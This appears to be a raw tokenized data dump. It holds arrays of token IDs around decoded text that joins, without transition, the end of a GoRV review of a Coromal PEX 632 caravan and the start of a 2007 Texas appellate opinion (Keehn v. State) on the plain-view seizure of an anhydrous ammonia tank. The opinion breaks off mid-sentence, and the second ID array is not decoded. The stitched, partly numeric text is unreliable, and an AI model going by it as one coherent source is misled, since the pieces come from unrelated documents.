[ 2596, 1355, 5833, 27, 253, 4283, 5024, 273, 253, 745, 2189, 23361, 457, 84, 3369, 20845, 281, 3057, 253, 2133, 273, 253, 3889, 13, 2403, 352, 19328, 281, 14518, 253, 23361, 4336, 562, 15, 187, 187, 3404, 253, 2963, 249, 555, 990, 13, 1219, 14, 40849, 457, 84, 4942, 747, 495, 15, 22, 14, 1299, 570, 14, 14092, 745, 7704, 8789, 556, 644, 14662, 13, 285, 309, 10490, 253, 958, 253, 3812, 2009, 14, 35758, 13341, 369, 14662, 3304, 253, 39271, 29418, 13, 835, 352, 457, 84, 6885, 13, 2581, 685, 253, 3345, 15, 380, 760, 2523, 309, 574, 342, 288, 31054, 285, 20209, 31054, 27, 253, 480, 13464, 9530, 457, 84, 6016, 20845, 281, 8980, 327, 253, 3889, 457, 84, 1133, 4946, 413, 10856, 1108, 247, 1355, 2523, 326, 1904, 457, 85, 5010, 1607, 13616, 1841, 13, 4457, 13673, 272, 11134, 22014, 15, 187, 187, 2512, 457, 84, 2568, 625, 5718, 3212, 253, 2451, 254, 3789, 3817, 13, 1223, 767, 18345, 17727, 403, 10877, 281, 253, 10581, 273, 253, 3889, 13, 2112, 342, 480, 9587, 476, 26160, 2057, 1930, 26493, 562, 273, 2451, 254, 3789, 281, 3761, 253, 10581, 270, 24512, 15, 187, 187, 4717, 281, 512, 436, 7145, 16463, 8965, 13, 247, 2120, 14, 3985, 4533, 14, 483, 3768, 920, 13, 247, 4564, 273, 17999, 13, 247, 7975, 14, 3487, 38769, 2829, 13, 247, 10151, 1249, 55, 1127, 13, 285, 368, 457, 306, 973, 285, 7777, 1694, 253, 47657, 723, 273, 247, 973, 14, 24286, 14, 483, 1113, 18444, 15, 309, 1904, 457, 85, 2564, 253, 5448, 44013, 263, 13, 2057, 15, 187, 187, 9507, 38, 8160, 2949, 187, 187, 2512, 403, 4314, 50107, 275, 253, 367, 4237, 2491, 13, 342, 2133, 9552, 432, 608, 15, 22, 78, 281, 721, 15, 26, 78, 15, 3824, 12806, 3386, 247, 3579, 3722, 13, 247, 425, 1032, 504, 8576, 13, 285, 745, 2189, 13223, 5464, 342, 1195, 14, 8089, 2829, 13, 285, 247, 10581, 15336, 15, 187, 187, 510, 12806, 275, 776, 3889, 2506, 457, 85, 2740, 747, 3216, 28, 2299, 13, 767, 2120, 14, 7436, 5500, 19184, 13, 581, 2057, 1930, 273, 253, 3889, 13, 823, 247, 3282, 273, 9712, 875, 253, 3811, 19902, 285, 253, 14098, 15, 187, 187, 510, 17216, 5704, 310, 949, 14, 45296, 264, 281, 253, 10699, 285, 8099, 13, 616, 8350, 40350, 8655, 407, 3081, 47645, 39926, 285, 18505, 15, 187, 187, 510, 8576, 556, 247, 1740, 14, 14814, 254, 330, 482, 68, 4417, 3956, 285, 642, 28938, 273, 5718, 4610, 13, 432, 1781, 3812, 398, 281, 18332, 5569, 398, 281, 5500, 19184, 2708, 253, 16338, 285, 650, 6626, 15, 187, 187, 3378, 697, 19538, 14, 3281, 3722, 13, 1930, 43530, 642, 24560, 313, 14382, 342, 247, 1249, 55, 285, 16918, 55, 1127, 10, 285, 18332, 5569, 398, 13, 253, 14098, 310, 3240, 2629, 28, 2299, 13, 309, 14109, 253, 958, 3094, 7838, 556, 14662, 2802, 8701, 285, 22502, 457, 3812, 398, 281, 253, 762, 3026, 5718, 2317, 15, 1422, 476, 1335, 8488, 253, 34489, 281, 2289, 253, 19978, 13, 1018, 1063, 13, 3966, 904, 533, 323, 1388, 14, 936, 14, 1201, 4957, 13, 816, 14518, 1527, 247, 31579, 15, 18770, 6927, 15, 187, 187, 510, 15336, 41358, 253, 2120, 4871, 273, 253, 3889, 15, 733, 3797, 271, 745, 2189, 31392, 21487, 13, 247, 425, 1032, 504, 16846, 12966, 2024, 13, 285, 247, 48424, 275, 875, 15, 13771, 685, 247, 34865, 264, 16486, 281, 2289, 253, 762, 14, 31591, 17392, 5145, 13, 3094, 7838, 2639, 580, 507, 556, 14662, 30451, 13, 6941, 253, 10955, 2593, 1840, 253, 5145, 281, 14518, 562, 15, 831, 2097, 368, 1053, 457, 85, 452, 281, 2590, 253, 10955, 816, 281, 755, 281, 253, 369, 379, 15, 187, 187, 510, 330, 482, 68, 8164, 3511, 1824, 2579, 310, 3817, 264, 745, 1735, 281, 253, 21487, 13, 2299, 13, 352, 2506, 457, 85, 1607, 13616, 1791, 2316, 15, 187, 187, 510, 3402, 23694, 253, 15336, 432, 253, 2022, 17216, 310, 247, 581, 14, 14705, 5713, 1747, 14407, 14, 4818, 9207, 90, 9457, 8212, 5370, 4229, 281, 253, 5254, 285, 10699, 13, 247, 2216, 5118, 281, 2572, 253, 4583, 40350, 273, 253, 3889, 15, 187, 187, 22641, 13, 253, 10755, 310, 7060, 13, 38194, 285, 9848, 15, 41547, 273, 5956, 27, 1016, 13223, 5464, 36591, 3386, 247, 14518, 14, 483, 2802, 1206, 333, 457, 281, 534, 247, 11038, 36100, 476, 320, 14662, 323, 271, 8164, 3174, 1120, 15, 380, 17301, 342, 436, 2216, 13, 689, 285, 1840, 253, 1846, 2802, 38705, 14, 484, 457, 3174, 1120, 84, 13, 310, 326, 627, 457, 84, 2317, 2708, 253, 14518, 14, 483, 323, 247, 31579, 15, 187, 187, 40, 1372, 55, 457, 52, 46833, 11364, 1647, 187, 187, 2447, 77, 12670, 13, 253, 3094, 7838, 2639, 580, 507, 367, 4237, 721, 1237, 12192, 253, 11498, 2810, 281, 3435, 361, 5840, 13, 594, 352, 457, 84, 642, 28441, 15, 1723, 13, 762, 12413, 352, 44944, 3139, 327, 2710, 25061, 3510, 13, 432, 17657, 2372, 30090, 281, 33791, 6561, 13939, 15, 733, 457, 84, 14662, 347, 2629, 342, 1219, 14, 40849, 49817, 1108, 247, 1652, 4465, 6330, 273, 2564, 15, 187, 187, 8430, 359, 281, 7184, 253, 3889, 342, 776, 32639, 14, 57, 13, 368, 457, 620, 878, 247, 5536, 14, 37163, 577, 18576, 281, 1056, 2120, 897, 273, 436, 3889, 457, 84, 24098, 5350, 1108, 1158, 8481, 50009, 13, 399, 14, 9684, 13, 3966, 15, 187, 187, 688, 697, 4376, 7140, 13, 352, 457, 84, 598, 1411, 690, 13827, 7324, 13, 533, 253, 367, 4237, 23188, 22828, 247, 1175, 13, 1892, 1007, 15, 831, 310, 407, 642, 2097, 247, 1408, 14, 1171, 14, 783, 14, 17993, 1113, 18444, 15, 187, 187, 6826, 36031, 310, 253, 2586, 434, 24654, 28977, 4958, 3420, 1387, 15, 14311, 407, 6976, 434, 954, 7407, 23049, 2600, 18014, 285, 3420, 27371, 13, 3617, 36031, 310, 253, 1682, 12095, 323, 24542, 5216, 273, 747, 1113, 580, 507, 13, 5694, 73, 6819, 285, 4049, 468, 47958, 13, 342, 3386, 327, 8644, 36467, 31684, 285, 12192, 285, 7535, 281, 1056, 634, 1735, 7408, 634, 1682, 581, 2568, 15, 187, 20360, 322, 15, 56, 15, 20, 69, 8676, 313, 8602, 10, 187, 28895, 11436, 16246, 611, 5607, 48047, 13, 9517, 13, 187, 87, 15, 187, 510, 26090, 273, 6112, 13, 2418, 15, 187, 2302, 15, 374, 14, 3071, 14, 27706, 14, 1311, 15, 187, 18336, 273, 9892, 273, 6112, 13, 10188, 32354, 15, 187, 22423, 1283, 13, 5215, 15, 187, 1785, 31629, 6061, 83, 8263, 4162, 608, 13, 5215, 15, 187, 11, 3439, 16358, 330, 15, 18668, 1528, 570, 13, 411, 469, 5741, 3928, 5259, 42943, 434, 7454, 13, 411, 469, 5741, 24618, 13, 323, 9517, 15, 187, 7912, 610, 418, 15, 20310, 66, 13, 4412, 26712, 904, 411, 469, 5741, 24618, 13, 323, 22706, 15, 187, 16284, 378, 27, 418, 3252, 2637, 1267, 1139, 13, 411, 31545, 947, 13, 285, 3044, 5915, 58, 13, 25544, 15, 187, 1785, 31629, 3035, 378, 1377, 6061, 83, 8263, 4162, 608, 13, 5215, 15, 187, 187, 2795, 26995, 187, 52, 6028, 411, 31545, 947, 13, 8293, 15, 187, 187, 42, 15, 39507, 187, 688, 436, 4549, 13, 9517, 11128, 11436, 16246, 611, 1796, 13107, 16540, 247, 2014, 1127, 11132, 253, 2332, 1302, 434, 13336, 273, 521, 3200, 281, 10476, 15, 611, 1796, 13107, 12148, 326, 6251, 8, 7501, 1417, 5857, 715, 271, 440, 32980, 3889, 326, 369, 24805, 275, 253, 35664, 275, 2914, 273, 521, 12913, 13588, 253, 16650, 10737, 285, 14108, 309, 13, 5238, 898, 273, 253, 6112, 10350, 15, 4923, 275, 436, 1083, 247, 3513, 5908, 2540, 247, 4198, 1351, 11100, 326, 574, 247, 787, 37043, 14, 11707, 1262, 311, 7843, 2822, 697, 11059, 275, 8342, 1859, 275, 253, 896, 273, 247, 3889, 347, 344, 475, 2417, 7428, 1066, 253, 35664, 285, 407, 253, 3889, 327, 521, 1039, 281, 253, 2914, 3369, 273, 253, 12913, 281, 2589, 247, 346, 48459, 285, 2312, 3, 285, 984, 253, 5908, 4745, 6566, 253, 4198, 1351, 11100, 369, 2330, 342, 253, 6424, 2425, 13, 253, 8342, 1859, 12791, 10384, 15, 10022, 13, 359, 588, 10418, 253, 2332, 1302, 434, 13336, 273, 611, 1796, 13107, 434, 3200, 281, 10476, 15, 187, 187, 2267, 15, 10601, 1647, 31440, 4889, 25717, 1703, 48160, 388, 6905, 15258, 187, 34, 19610, 5866, 275, 247, 16252, 2170, 275, 411, 469, 5741, 3928, 15, 743, 46366, 4208, 281, 253, 19610, 2183, 17085, 342, 253, 411, 469, 5741, 3928, 22565, 434, 4487, 326, 703, 3047, 253, 13282, 42727, 32645, 281, 253, 896, 3369, 273, 1283, 883, 22671, 19051, 12555, 44, 1796, 13107, 434, 1728, 12555, 285, 1996, 3553, 326, 12913, 275, 247, 3889, 15, 329, 1643, 1897, 1996, 13, 19897, 4200, 555, 3366, 636, 12668, 281, 611, 1796, 13107, 434, 12913, 281, 2589, 247, 956, 14, 484, 4572, 342, 253, 8811, 273, 326, 2419, 8664, 253, 19610, 15, 19897, 3366, 636, 2540, 253, 3786, 2529, 3889, 24805, 275, 253, 35664, 275, 2914, 273, 253, 2419, 285, 1925, 253, 1421, 25881, 13, 28150, 36532, 34694, 13, 281, 2525, 779, 387, 611, 1796, 13107, 434, 2419, 15, 1284, 19897, 3366, 636, 7428, 598, 253, 35664, 2584, 253, 12913, 434, 2914, 3369, 13, 344, 7428, 407, 253, 3889, 285, 43517, 3304, 352, 28, 344, 2540, 247, 4198, 1351, 11996, 10776, 275, 253, 896, 273, 253, 3889, 285, 787, 37043, 14, 11707, 1262, 311, 7843, 390, 30613, 369, 7985, 1475, 253, 7623, 273, 253, 11996, 15, 19897, 3366, 636, 6566, 253, 1262, 311, 7843, 390, 30613, 1475, 253, 7623, 273, 253, 11996, 390, 11100, 281, 320, 271, 14011, 326, 253, 11996, 390, 11100, 6221, 44927, 528, 35212, 13, 908, 275, 253, 6833, 273, 42588, 15, 19897, 3366, 636, 1925, 253, 2854, 4836, 3490, 281, 7409, 253, 1896, 44927, 528, 35212, 275, 253, 3889, 15, 187, 56, 469, 5741, 24618, 9651, 12743, 2516, 14474, 356, 968, 13, 247, 3558, 273, 253, 3729, 6112, 16686, 17526, 10627, 13, 10974, 281, 19897, 3366, 636, 434, 1067, 281, 611, 1796, 13107, 434, 1728, 15, 12743, 14474, 356, 968, 3047, 253, 3889, 24805, 275, 253, 35664, 13, 3261, 3304, 253, 3889, 13, 2540, 253, 4198, 1351, 11100, 12555, 783, 1511, 908, 323, 271, 17603, 3678, 32257, 12555, 395, 2540, 253, 1262, 311, 7843, 327, 253, 11100, 434, 11059, 15, 754, 6566, 326, 253, 1262, 311, 7843, 4860, 326, 253, 4198, 1351, 11100, 574, 644, 908, 281, 4657, 44927, 528, 35212, 28, 344, 3260, 326, 247, 3678, 32257, 4198, 1351, 11100, 310, 417, 271, 7012, 8781, 281, 4459, 44927, 528, 35212, 285, 326, 44927, 528, 35212, 310, 12845, 275, 253, 6833, 273, 42588, 15, 187, 21756, 254, 14474, 356, 968, 17571, 253, 11100, 13, 5762, 253, 10359, 275, 253, 11100, 13, 285, 3413, 326, 352, 369, 44927, 528, 35212, 15, 4923, 253, 4198, 1351, 11100, 369, 417, 271, 14047, 8781, 323, 34991, 44927, 528, 35212, 13, 12743, 14474, 356, 968, 9833, 611, 1796, 13107, 15, 380, 4936, 4984, 38455, 611, 1796, 13107, 323, 10023, 273, 44927, 528, 35212, 342, 6860, 281, 18725, 2920, 6833, 247, 6537, 10359, 13, 10775, 13, 42588, 15, 187, 44, 1796, 13107, 4724, 247, 3200, 281, 10476, 253, 1941, 17571, 432, 253, 3889, 15, 2732, 247, 4854, 13, 253, 2332, 1302, 5868, 611, 1796, 13107, 434, 3200, 13, 285, 611, 1796, 13107, 9674, 5966, 715, 247, 12678, 27871, 4345, 15, 754, 23383, 8106, 275, 6431, 323, 271, 4345, 326, 253, 14079, 651, 5583, 5093, 1107, 8, 25422, 275, 253, 6112, 4487, 273, 20526, 8293, 32576, 9333, 285, 326, 253, 2332, 1302, 651, 5306, 1419, 521, 987, 281, 4549, 253, 14523, 10362, 15, 831, 4549, 3560, 15, 187, 187, 8296, 15, 12838, 33044, 6725, 20756, 4889, 6725, 18769, 10860, 187, 688, 521, 7934, 1127, 13, 611, 1796, 13107, 8219, 326, 253, 3186, 273, 253, 3889, 285, 253, 21935, 273, 253, 11100, 285, 697, 9410, 13588, 253, 16650, 10737, 273, 253, 1986, 2077, 10350, 285, 14108, 309, 13, 5238, 898, 273, 253, 6112, 10350, 15, 13658, 13, 611, 1796, 13107, 20765, 326, 253, 8342, 1859, 6517, 281, 253, 7501, 8284, 1057, 417, 4647, 1060, 984, 352, 369, 417, 4745, 5165, 281, 6251, 326, 253, 4198, 1351, 11100, 6221, 44927, 528, 35212, 285, 984, 253, 6251, 475, 3208, 858, 417, 452, 247, 29889, 987, 281, 4901, 253, 35664, 390, 253, 3889, 15, 187, 34, 15, 12144, 273, 8439, 187, 1231, 2278, 247, 2332, 1302, 434, 10362, 327, 247 ]

One small complaint: the leading edge of the offside tray’s door tended to contact the body of the van, making it awkward to slide the tray completely out. At the pointy end, Al-Ko’s relatively new 3.5-tonne-rated offroad coupling has been fitted, and I liked the fact the drawbar-mounted tap was fitted inside the chassis rails, where it’s protected, rather than the outside. The only issue I had with hitching and unhitching: the jockey wheel’s handle tended to bind on the van’s handbrake cable – a small issue that didn’t otherwise impede things, beyond sparking mild frustration. There’s yet more storage behind the checkerplate box, while two spare wheels are mounted to the rear of the van, along with jerry can holders either side fabricated out of checkerplate to match the rear bumper. Add to all this corner brush bars, a full-length roll-out awning, a couple of speakers, a fold-down picnic table, a nearby 12V point, and you’ve well and truly got the makings of a well-thought-out caravan. I didn’t mind the wind deflector, either. COME ON IN There are eight layouts in the PEX range, with body sizes from 5.5m to 6.9m. Our layout features a forward bed, a nearside kitchen, and offside dinette with tri-fold table, and a rear bathroom. The layout in our van doesn’t break new ground; however, two full-height cupboards, one either side of the van, add a sense of separation between the living quarters and the bedroom. The cabinetry is through-bolted to the roof and walls, their structural rigidity enhanced by additional aluminium framing and fixing. The kitchen has a four-burner Camec cooktop and no shortage of storage options, from large drawers to overhead lockers to cupboards below the sink and griller. With its queen-size bed, side wardrobe nooks (each with a 12V and 240V point) and overhead lockers, the bedroom is quite standard; however, I appreciated the fact Coromal has fitted ‘his and hers’ drawers to the underbed storage space. You can still lift the mattress to access the batteries, charger, etc., but for day-to-day items, just slide open a drawer. Much easier. The bathroom occupies the full width of the van. It includes an offside cassette toilet, a nearside shower cubicle, and a vanity in between. Rather than a hinged lid to access the under-bench washing machine, Coromal Caravans has fitted runners, allowing the bench section above the machine to slide out. This means you don’t have to clear the bench just to get to the washer. The Camec instant hot water service is boxed off next to the toilet, however, it doesn’t impede leg room. The wall separating the bathroom from the main cabin is a one-piece fibreglass-polystyrene composite panel fixed to the floor and roof, a design calculated to increase the overall rigidity of the van. Overall, the interior is smart, stylish and comfortable. Speaking of comfort: each dinette lounge features a slide-out ‘tray’ to which a matching cushion can be fitted for an instant footrest. The bonus with this design, over and above the common ‘snap-up’ footrests, is that there’s space below the slide-out for a drawer. GORV’S VERDICT Unladen, the Coromal Caravans PEX 632 tips the scales close to 2700kg, so it’s no lightweight. However, under tow it behaved itself on various terrain types, from highway bitumen to gravel secondary roads. It’s fitted as standard with Al-Ko ESC – a little extra peace of mind. Although we towed the van with our MU-X, you’ll need a heavy-duty 4WD to make full use of this van’s payload capacity – think Grand Cherokee, D-Max, etc. In its price category, it’s up against some stiff competition, but the PEX nonetheless deserves a good, hard look. This is by no means a run-of-the-mill caravan. GoRV is the country's premier recreational vehicle media group. Run by Australia's most experienced RV content producers and media specialists, GoRV is the best destination for credible tests of new caravans, motorhomes and camper trailers, with features on amazing touring destinations and tips and advice to make your next trip your best one yet. 223 S.W.3d 53 (2007) Darrell Jay KEEHN, Appellant, v. The STATE of Texas, State. No. 2-06-047-CR. Court of Appeals of Texas, Fort Worth. January 18, 2007. Rehearing Overruled April 5, 2007. *54 Anthony C. Odiorne, Wichita County Public Defender's Office, Wichita Falls, for Appellant. Barry L. Macha, District Atty., Wichita Falls, for Appellee. Panel B: LIVINGSTON, WALKER, and McCOY, JJ. Rehearing En Banc Overruled April 5, 2007. OPINION SUE WALKER, Justice. I. INTRODUCTION In this appeal, Appellant Darrell Jay Keehn raises a single point challenging the trial court's denial of his motion to suppress. Keehn contends that officers' warrantless entry into an unoccupied van that was parked in the driveway in front of his residence violated the Fourth Amendment and Article I, Section 9 of the Texas Constitution. Because in this case a police officer observed a propane tank that had a bluish-green discoloration near its valve in plain view in the back of a van as he *55 walked down the driveway and by the van on his way to the front door of the residence to conduct a "knock and talk" and because the officer immediately believed the propane tank was associated with the criminal activity, the plain view doctrine applies. Accordingly, we will affirm the trial court's denial of Keehn's motion to suppress. II. FACTUAL AND PROCEDURAL HISTORY A theft occurred in a residential area in Wichita County. An eyewitness to the theft told investigators with the Wichita County Sheriff's Department that she saw the suspected thieves flee to the back door of 1811 Cameron LaneKeehn's home and later leave that residence in a van. A few days later, Deputy Monty Deford drove to Keehn's residence to conduct a follow-up interview with the residents of that house concerning the theft. Deputy Deford observed the previously described van parked in the driveway in front of the house and called the lead investigator, Sergeant Randy Elliott, to meet him at Keehn's house. As Deputy Deford walked up the driveway toward the residence's front door, he walked by the van and peered inside it; he observed a propane bottle lying in the back of the van and bluish-green discoloration or corrosion was visible around the neck of the bottle. Deputy Deford believed the discoloration or corrosion around the neck of the bottle or tank to be an indication that the bottle or tank contained anhydrous ammonia, used in the manufacture of methamphetamine. Deputy Deford called the drug task force to investigate the possible anhydrous ammonia in the van. Wichita Falls Police Officer John Spragins, a member of the North Texas Drug Task Force, responded to Deputy Deford's call to Keehn's home. Officer Spragins saw the van parked in the driveway, looked inside the van, observed the propane tankthe type used for an outdoor gas grilland observed the discoloration on the tank's valve. He believed that the discoloration indicated that the propane tank had been used to store anhydrous ammonia; he knew that a gas grill propane tank is not an approved container to carry anhydrous ammonia and that anhydrous ammonia is utilized in the manufacture of methamphetamine. Officer Spragins seized the tank, tested the substance in the tank, and determined that it was anhydrous ammonia. Because the propane tank was not an authorized container for transporting anhydrous ammonia, Officer Spragins arrested Keehn. The grand jury indicted Keehn for possession of anhydrous ammonia with intent to unlawfully manufacture a controlled substance, namely, methamphetamine. Keehn filed a motion to suppress the evidence seized from the van. After a hearing, the trial court denied Keehn's motion, and Keehn subsequently entered into a plea bargain agreement. He pleaded guilty in exchange for an agreement that the prosecution would recommend seven years' confinement in the Texas Department of Criminal Justice Institutional Division and that the trial court would certify his right to appeal the suppression ruling. This appeal followed. III. LEGAL SEARCH AND SEIZURE In his sole point, Keehn argues that the search of the van and the seizure of the tank and its contents violated the Fourth Amendment of the United States Constitution and Article I, Section 9 of the Texas Constitution. Specifically, Keehn alleges that the plain view exception to the warrant requirement does not apply here because it was not immediately apparent to officers that the propane tank contained anhydrous ammonia and because the officers *56 did not have a lawful right to enter the driveway or the van. A. Standard of Review We review a trial court's ruling on a

[ 8914, 285, 3277, 25532, 46775, 1954, 42029, 434, 1481, 15, 187, 187, 2374, 253, 39694, 434, 6146, 3402, 403, 690, 273, 253, 1113, 87, 723, 326, 2378, 13750, 253, 2605, 15, 2053, 921, 253, 14217, 273, 253, 27237, 7367, 27, 16361, 86, 1032, 13, 49145, 4787, 13, 299, 23044, 9123, 15060, 13, 285, 752, 778, 320, 247, 1966, 1481, 275, 3277, 25532, 46775, 1954, 42029, 434, 6208, 15, 187, 187, 64, 3594, 266, 657, 383, 1950, 9705, 80, 64, 187, 187, 4125, 10699, 1417, 13, 253, 50276, 3594, 266, 657, 383, 1950, 9705, 80, 50276, 9, 15611, 657, 383, 487, 1657, 10, 8725, 2112, 253, 2914, 273, 253, 39694, 13, 10268, 253, 499, 11983, 15, 380, 8805, 10955, 27251, 342, 29353, 8927, 6337, 253, 2978, 273, 253, 7423, 13, 6830, 281, 7319, 24061, 285, 642, 9143, 20764, 39781, 275, 253, 499, 11983, 15, 187, 187, 64, 6869, 366, 81, 386, 965, 64, 187, 187, 44982, 253, 6146, 1930, 273, 25017, 30836, 504, 378, 310, 253, 50276, 6869, 366, 81, 386, 965, 50276, 9, 6075, 21601, 8799, 582, 534, 310, 3387, 78, 1048, 13, 374, 15, 1099, 78, 1029, 285, 27251, 342, 17856, 6127, 285, 247, 4194, 273, 37094, 1474, 36934, 1966, 8413, 49004, 15, 1535, 1951, 3464, 273, 253, 3236, 6627, 9830, 342, 534, 954, 273, 308, 3627, 434, 5289, 497, 16264, 15, 187, 187, 64, 16281, 37831, 3277, 358, 3377, 64, 187, 187, 3351, 26639, 8935, 273, 25017, 30836, 504, 378, 13, 253, 50276, 9387, 6319, 77, 37831, 3277, 358, 3377, 50276, 9, 44441, 264, 21632, 10, 310, 247, 2962, 273, 35574, 285, 31944, 2196, 342, 625, 1698, 270, 44404, 285, 6619, 1113, 87, 723, 13, 581, 35668, 247, 44210, 273, 642, 9143, 15, 733, 369, 3164, 908, 323, 39781, 390, 45591, 12225, 15, 187, 187, 64, 52, 7080, 372, 45674, 7860, 3262, 30277, 48772, 353, 505, 2679, 64, 187, 187, 2374, 253, 2080, 1930, 273, 253, 499, 11983, 310, 247, 1854, 4283, 281, 253, 50276, 52, 7080, 372, 45674, 7860, 3262, 30277, 48772, 353, 505, 2679, 13, 247, 1355, 16064, 4907, 846, 581, 273, 253, 21101, 11644, 313, 66, 3416, 10, 665, 33536, 35842, 27960, 569, 1060, 15, 733, 3797, 1781, 4957, 2668, 432, 253, 2670, 13, 1690, 253, 5699, 4669, 273, 260, 552, 255, 2352, 313, 35686, 8442, 908, 347, 8109, 9930, 10, 285, 247, 5304, 6779, 273, 849, 253, 2670, 1537, 452, 3261, 275, 697, 4335, 15, 187, 187, 53, 3627, 434, 41289, 14, 3022, 50276, 8076, 16232, 13, 816, 745, 253, 795, 91, 1954, 1179, 80, 8291, 369, 629, 273, 253, 1668, 394, 14, 9888, 36598, 273, 5003, 29414, 15, 25081, 13, 697, 28395, 28061, 403, 25701, 275, 5328, 15, 535, 50276, 33669, 272, 187, 187, 24757, 293, 12000, 1752, 35884, 50276, 41, 2415, 3887, 50276, 5, 187, 187, 9, 50274, 40761, 14, 48549, 14, 883, 14, 2691, 28, 8280, 15, 16559, 1752, 1377, 255, 3627, 15, 681, 28, 17231, 32444, 388, 11421, 2184, 1903, 28, 256, 16, 69, 16, 1206, 353, 5, 16552, 16, 8320, 16, 15645, 28, 50274, 10, 831, 9848, 13, 8542, 2136, 8614, 310, 987, 275, 253, 2798, 273, 308, 3627, 13, 4441, 387, 253, 990, 273, 247, 6891, 34792, 6406, 313, 6204, 323, 253, 686, 20643, 4692, 8, 861, 481, 12000, 1752, 35884, 6131, 5540, 9956, 13, 512, 342, 10856, 5579, 13, 3055, 15336, 285, 1959, 38435, 14, 11125, 313, 783, 4602, 310, 1682, 275, 253, 9956, 8642, 281, 253, 16612, 481, 4913, 272, 2289, 310, 1475, 896, 13, 3066, 329, 1261, 4355, 41379, 5477, 4019, 15, 187, 187, 24757, 293, 10417, 330, 456, 1544, 50276, 41, 2415, 3887, 50276, 1890, 187, 187, 9, 50274, 40761, 14, 48549, 14, 2904, 14, 1012, 28, 8280, 15, 85, 3627, 27381, 15, 681, 16, 12022, 293, 68, 456, 1544, 28, 8784, 41379, 5477, 4019, 12708, 28, 391, 353, 5, 25, 1423, 13, 2870, 353, 5, 883, 3245, 14, 1047, 938, 28, 50273, 10, 329, 6406, 896, 432, 253, 499, 11983, 13, 253, 10417, 330, 456, 1544, 556, 690, 42570, 591, 661, 313, 66, 1355, 17409, 13, 275, 14, 4461, 7691, 453, 358, 7380, 13, 4707, 6079, 398, 285, 4389, 265, 10, 323, 253, 4376, 15, 6676, 273, 253, 3304, 9956, 3480, 3626, 1708, 13, 533, 253, 49130, 3959, 30352, 447, 285, 6406, 6849, 15, 1707, 434, 671, 247, 1270, 5438, 273, 2806, 14, 395, 14, 11300, 7963, 273, 308, 3627, 275, 253, 16612, 15, 380, 2316, 4376, 3797, 271, 2448, 12561, 15, 535, 50276, 38, 839, 187, 187, 36, 406, 1758, 444, 585, 1954, 78, 3737, 15878, 330, 1370, 3814, 284, 50276, 46, 4237, 48697, 50276, 5, 187, 187, 9, 48787, 32444, 388, 11421, 2184, 17181, 28, 1821, 6187, 1448, 44433, 353, 5, 1449, 28, 50274, 24, 312, 14, 24, 2617, 4200, 14, 20794, 13, 281, 721, 2617, 4146, 10, 50276, 8380, 1060, 323, 271, 7126, 795, 3767, 6187, 1448, 44433, 64, 313, 11746, 273, 253, 1388, 10, 326, 3797, 634, 4327, 273, 18377, 13, 2022, 17114, 824, 347, 795, 348, 3205, 294, 620, 32564, 64, 313, 1962, 3248, 14, 14653, 448, 27154, 10, 285, 795, 22009, 6597, 66, 64, 313, 66, 6906, 2624, 273, 31894, 13, 10238, 264, 9132, 10, 1108, 285, 795, 45877, 64, 313, 7779, 8043, 2149, 342, 5352, 9279, 481, 380, 24311, 36009, 13, 1977, 432, 253, 8576, 13, 310, 28576, 685, 253, 2870, 14743, 13, 2022, 17552, 2316, 15, 187, 187, 46, 3230, 50276, 12695, 9278, 1277, 26081, 50276, 5, 187, 187, 9, 50274, 40761, 2233, 14, 2405, 14, 1610, 28, 17231, 32444, 388, 11421, 2184, 2145, 28, 8910, 1448, 44433, 353, 5, 1857, 28, 50274, 26, 312, 14, 22, 2617, 4146, 14, 33228, 28, 50275, 10, 831, 2969, 39203, 10301, 11029, 247, 19649, 795, 3767, 6187, 1448, 44433, 64, 326, 3797, 2644, 18432, 255, 10238, 13, 21436, 18377, 285, 247, 31021, 273, 3626, 9279, 14709, 15, 1707, 434, 671, 247, 5438, 273, 43697, 466, 42803, 13, 15307, 371, 21040, 795, 8291, 572, 265, 324, 28769, 13, 256, 2121, 285, 3779, 6594, 15, 16942, 434, 5352, 13, 49618, 285, 36018, 15, 535, 50276, 27347, 1707, 708, 37811, 187, 187, 53, 3627, 434, 50276, 13097, 1305, 302, 50276, 9, 57, 280, 302, 9390, 8076, 77, 1638, 10, 50276, 261, 247, 2159, 2940, 432, 17207, 15, 3973, 14, 2437, 50276, 48, 26697, 30511, 50276, 9, 50274, 40761, 14, 48549, 14, 4196, 14, 361, 28, 8280, 15, 72, 11618, 15, 681, 15, 26652, 10, 50276, 67, 5123, 4288, 281, 16, 4064, 8987, 3228, 434, 37060, 19536, 70, 313, 46, 5, 3677, 13, 337, 12136, 3038, 13, 1046, 3387, 2909, 10, 285, 1480, 281, 16, 4064, 367, 607, 48309, 313, 46, 5, 4529, 13, 337, 11199, 3038, 13, 33081, 481, 329, 11804, 6613, 374, 2109, 14, 2437, 23444, 281, 253, 1072, 31684, 1046, 1458, 2909, 15, 535, 50276, 27347, 26134, 187, 187, 2042, 368, 12666, 275, 308, 3627, 407, 1685, 13, 253, 24746, 1039, 281, 755, 1475, 310, 327, 3174, 15, 1916, 3986, 253, 795, 91, 1954, 1179, 80, 64, 432, 253, 4660, 13, 1614, 987, 327, 1594, 280, 302, 9390, 8076, 77, 13, 840, 4745, 1669, 327, 8741, 5309, 1448, 416, 40759, 285, 2940, 767, 8336, 281, 388, 11421, 2184, 15, 11668, 247, 987, 327, 388, 11421, 2184, 13, 534, 3846, 14, 1727, 387, 33427, 372, 826, 45866, 36075, 13, 308, 3627, 434, 2022, 6278, 15, 187, 187, 1992, 3986, 253, 1503, 8440, 1780, 1452, 311, 33320, 3737, 4035, 2439, 253, 499, 11983, 281, 3277, 25532, 46775, 1954, 42029, 13, 271, 12994, 34792, 6406, 326, 5644, 281, 247, 3174, 8298, 689, 253, 308, 3627, 8281, 15, 11668, 253, 16303, 598, 253, 13599, 2189, 281, 253, 987, 13, 285, 4035, 2112, 308, 7391, 266, 14, 13569, 23026, 12892, 281, 253, 2670, 434, 6561, 13032, 15, 187, 187, 20810, 13, 253, 3874, 434, 1685, 4660, 19756, 271, 795, 358, 4904, 1452, 64, 313, 22738, 10662, 2451, 582, 534, 310, 20276, 323, 1388, 12512, 13906, 15153, 342, 36905, 15, 187, 187, 11387, 273, 10372, 187, 187, 7573, 302, 6356, 86, 317, 9435, 535, 50276, 37308, 1227, 13173, 87, 3495, 361, 78, 187, 187, 1552, 2570, 273, 13103, 25874, 2352, 13, 873, 17421, 752, 369, 2378, 19926, 80, 13429, 3737, 434, 6459, 2846, 13, 310, 2190, 253, 2919, 434, 954, 11580, 31684, 15, 380, 30108, 1981, 2670, 26662, 281, 253, 28478, 273, 253, 714, 1028, 255, 9435, 285, 18907, 522, 284, 275, 2426, 273, 697, 8453, 13, 285, 3780, 13476, 